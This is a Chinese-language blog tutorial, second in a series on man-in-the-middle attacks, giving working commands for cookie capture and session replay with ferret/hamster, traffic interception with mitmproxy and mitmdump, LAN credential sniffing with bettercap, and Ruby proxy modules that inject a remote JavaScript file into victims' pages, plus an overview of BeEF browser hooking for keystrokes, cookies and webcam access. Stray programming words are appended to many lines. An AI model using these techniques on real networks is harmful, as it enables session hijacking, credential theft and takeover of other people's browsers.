細說中間人攻擊(二)

細說中間人攻擊(一)介紹了比較常見的中間人攻擊作法,即用wireshark抓取數據包,
用ettercap來進行出入流量的替換和修改,從而達到監控和修改目標網頁的目的。然而中間人攻擊的工具繁多,並不是只有ettercap一個,
所以這篇博文我將再介紹幾種常見的MITM框架以及簡單說明其使用方法,以達到方便監控目標和攻擊目標的目的。javascript

抓取Cookie本地重現

在我搜索中間人攻擊相關主題的時候,發現國內博客說起比較多的cookie盜取所用的軟件是ferret&hamster,
hamster這個軟件是在2007年黑客大會上Robert Graham展現用來方便在瀏覽器中快速重現所捕捉
到的會話的,其中ferret用來撲捉數據或者對已經撲捉的.pcap數據進行格式化處理,生成一個txt文件,而後用hamster
來讀取這個txt而且在本機啓動一個代理服務器,只要瀏覽器設置了相對應的地址(本機地址)和端口的代理
進行訪問就能看見全部截獲的http會話了。因爲這個軟件年代久遠,並且只是在大會上作個demo,並非很完善的
產品,所以也有比較大的不穩定性,即使如此在現在仍是在各類博客裏被屢屢說起,因此我也簡單介紹下這個工具
的使用。html

hamster和ferret能夠到官網[http://hamster.erratasec.com][http://hamster.erratasec.com]下載,但最近彷佛沒有
更新了,畢竟快是十年前的東西。我是直接在robert的github上下載的c++源代碼,整體功能並不複雜,就當學習一下大神
的coding方法了。有一點值得一提,hamster用的是32位的庫,所以本身若是是64位操做系統,編譯或者運行都須要安裝
ia32-libs以及一些使用到的非標準庫,同時源代碼要進行簡單的修改。爲了方便我連同依賴直接fork到了這裏java

再說使用方法,其實這卻是最簡單的,關鍵就三步:python

  1. 抓取指定端口的數據c++

  2. 用ferret格式化解析本地數據git

    ferret -r file.pcap //生成hamster.txtgithub

  3. hamster打開本地代理服務器,默認端口是1234web

    hamster //在和hamster.txt相同目錄下打開編程

而後打開瀏覽器,設置代理爲127.0.0.1:1234,打開http://hamster就能看到所撲捉的全部會話了,若是有cookie信息,也能直接
還原出來。其中第一步能夠用任何抓包工具來作,也能夠用ferret -i來抓包,這樣的話一、2步也能夠合併成一步。vim

中間人代理

HTTP/HTTPS代理服務器有不少,好比Fiddler2,burpsuite和mitmproxy等工具均可以創建一個代理服務器。代理服務器每每用來輔助web開發
和調試,固然也能用於滲透測試即中間人攻擊。其中比較輕量級的是mitmproxy,用python編寫而成,能夠很容易進行拓展和定製。
mitmproxy進行HTTPS代理的過程和我在細說中間人攻擊(一)的最後一節講的大同小異,簡而言之就是mitmproxy自己與服務器和
客戶端雙向進行SSL連接,固然前提是mitmproxy使用的證書要被信任,否則客戶端進行https訪問的時候瀏覽器地址欄會有個不信任證書的提醒。
下面介紹一下mitmproxy工具集中幾個經常使用工具的使用方法。

mitmproxy

mitmproxy是一個交互式的流量監控和分析工具,其操做界面的控制方式相似於vim。直接命令行打開:

mitmproxy -p 1234

會在本地打開一個代理服務器,端口號爲1234。也能夠不指定,默認端口號是8080。而後使得目標經過你的這個代理上網,就能在交互界面中看到
全部的POST和GET等請求。還能夠指定任意一條請求回車進入查看詳細的請求數據,也能夠看tab切換respond和detail數據。對於respond的數據還能夠根據格式
來進行相應的展示。同時也能按e進行修改請求,而後按r進行回放。不得不說其可視化界面作得很好,全部的瀏覽請求一目瞭然。交互式的界面更適合
用於請求的分析。mitmproxy做爲一個「中間人」代理,固然也能對數據進行攔截,使用i指定攔截的表達式便可。

mitmdump

與mitmproxy相對的,mitmdump是一個非交互的抓包工具,不過還提供了用python腳原本對數據包進行修改替換的操做,有點相似於ettercap的filter插件。
能夠實時修改request和respond每個細節,固然也能夠非實時地對mitmproxy保存的離線包進行操做。

mitmdump -n -r capture.data -w output.data [filter]

其中capture.data是mitmproxy用w鍵保存的數據。mitmdump能夠對其過濾處理產生新的包。[filter]是過濾的條件,如「~d douban.com「表示特定域名,~h表示
特定header等等。對於新生成的數據包,咱們也能夠用mitmdump重播:

mitmdump -n -c output.data

libmproxy

mitmdump的一個主要做用是支持inline腳本,用--script調用,腳本中用到了mitmdump提供的拓展庫libmproxy,就像其餘python第三方庫同樣,不過其擁有操縱
http響應每一個細節的能力,實乃居家旅行必備。用法很簡單:

mitmdump -s myscript.py -p 1234

如一個修改響應文字內容的inline腳本以下:

# Usage: mitmdump -s "modify_response_body.py mitmproxy bananas"
# (this script works best with --anticache)
from libmproxy.models import decoded


def start(context, argv):
    if len(argv) != 3:
        raise ValueError('Usage: -s "modify-response-body.py old new"')
    # You may want to use Python's argparse for more sophisticated argument
    # parsing.
    context.old, context.new = argv[1], argv[2]


def response(context, flow):
    with decoded(flow.response):  # automatically decode gzipped responses.
        flow.response.content = flow.response.content.replace(
            context.old,
            context.new)

這裏須要注意的是不一樣版本的libmproxy的改動很是大!!我以前是直接apt-get下載的mitmproxy0.8,那時
尚未libmproxy.models,因此要注意本身的版本。建議在github上clone最新版本,用pip+virturlenv進行
包管理十分方便,目前最新版本是mitmproxy0.14.x,最新版還增長了一個mitmweb的工具,
可見其更新速度很是快,這對開源工具來講是一件大好事。

另外在github倉庫裏還有inline腳本的example,文檔也很齊全。除了inline調用之外,咱們甚至可使用libmproxy
來本身用python寫一個mitmproxy!並且實現起來也很是簡單,由於mitmproxy自己大部分功能都是基於libmproxy裏實現的。

"更好的ettercap"——bettercap

不少人可能會問,既然有了ettercap,幹嗎還要再弄一個差很少的東西?其實按照bettercap做者的說法,ettercap雖然是個很棒的工具,
可是已通過時了,並且彷佛維護也是有氣無力。ettercap在大型網絡中至關不穩定,在操縱http的payload時每每還須要別的工具來輔助,
好比上面提到的mitmproxy。所以bettercap就誕生啦!

bettercap的操做也十分簡單明瞭,好比在局域網中嗅探全部數據:

bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

其中-P指定加載的parsers,也能夠不指定,默認和ettercap同樣所有加載。也能夠將數據保存在本地:

bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"

--sniffer-filter參數表示的意思很明顯,即只保存目的端口爲80的tcp數據(即http)。值得一提的是,這裏沒有指定網關和網絡接口,由於
用的都是默認值,即當前網關和當前默認網卡,固然也能夠分別用-G 和 -I 指定。

模塊化的透明代理

上面講mitmproxy的時候已經介紹了代理,而bettercap正好也能夠實現相似的功能,在本地啓動一箇中間人代理服務器而且將數據流量都經過代理收發。

bettercap --proxy --proxy-port=1234

指定代理端口爲1234,默認爲8080。這條命令默認只記錄http請求,若是指定--proxy-module參數就能夠加載你自定義的模塊來操縱流量。
自定義的拓展模塊用Ruby寫成,語法很簡單,好比一個修改網頁title的例子hack_title.rb以下:

class HackTitle < Proxy::Module  
  def on_request( request, response )
    # is it a html page?
    if response.content_type =~ /^text\/html.*/
      Logger.info "Hacking http://#{request.host}#{request.url} title tag"
      # make sure to use sub! or gsub! to update the instance
      response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
    end
  end
end

調用方法

bettercap --proxy --proxy-module=hack_title.rb

內嵌http服務器

其實這個選項比較雞肋,不過也是bettercap爲了達到它所說的「只用一個工具」的效果吧。其主要用途就是給payload注入JS的時候須要從服務器去請求,
bettercap能夠配合proxy module很容易一步實現:

bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

其中inject.rb的代碼以下:

class InjectJS < Proxy::Module  
  def on_request( request, response )
    # is it a html page?
    if response.content_type =~ /^text\/html.*/
      Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
      # get the local interface address and HTTPD port
      localaddr = Context.get.ifconfig[:ip_saddr]
      localport = Context.get.options[:httpd_port]
      # inject the js
      response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
    end
  end
end

目前bettercap的功能還比較簡單,但優勢是其更新維護很是快,能夠說是突飛猛進,和ettercap等老古董造成鮮明對比呀:D

BeEF

BeEF全稱爲Browser Exploitation Framework,是一個著名的瀏覽器劫持框架,也是採用Ruby編寫。雖然安裝依賴的過程有點繁瑣,但用起來着實簡單無比,
只須要運行:

./beef

運行後會啓動一個用戶接口服務器和一個掛載BeEF主要JS腳本(hook.js)的服務器,其架構以下:

BeEF-overall

其中用戶接口也是一個http服務器,咱們只須要在瀏覽器中打開,就能進入一個展示全部被注入的客戶機的管理後臺。若是客戶端瀏覽的某個網頁payload中加載
了hook.js,那麼其一舉一動都會發送到咱們的UI服務器上,包括鼠標的點擊事件,點擊位置,鍵盤事件等等,查看cookie和客戶端的機器信息更是不在話下:

hook-interface

針對每一臺被劫持的客戶端(瀏覽器),咱們還能夠對其發送不一樣的指令,好比播放音樂,鎖住頁面,打開web攝像頭。值得一提的是,BeEF還能配合metasploit
來入侵目標的電腦,從而在目標關閉瀏覽器後依舊能擁有其計算機的控制權。

後記

中間人攻擊的大體方法至此就介紹得差很少了,在總結的過程當中本身也學了很多工具的的用法。雖然MITM的工具繁多,但明白其原理才能更好地去使用,
以及對其進行拓展。輪子是個好東西,人類只有幾十年有效壽命和有限的精力,卻可以不斷髮展到如今這樣科技發達,靠的就是不斷理解和使用輪子,把前人
的推論當成定理,能夠說人類社會的進步就是一個面向對象編程的過程。可是,也不用把別人的輪子看得過於神祕,說到底中間人也就是接收,解析,發送三步而已。
至於怎麼防護這類攻擊,最好的方法就是瀏覽器禁cookie,禁javascript,禁flash,最終仍是得和我的的上網體驗相權衡,畢竟若是把眼睛都蒙上了,我還上什麼網呢。

歡迎交流,文章轉載請註明出處.

相關文章
相關標籤/搜索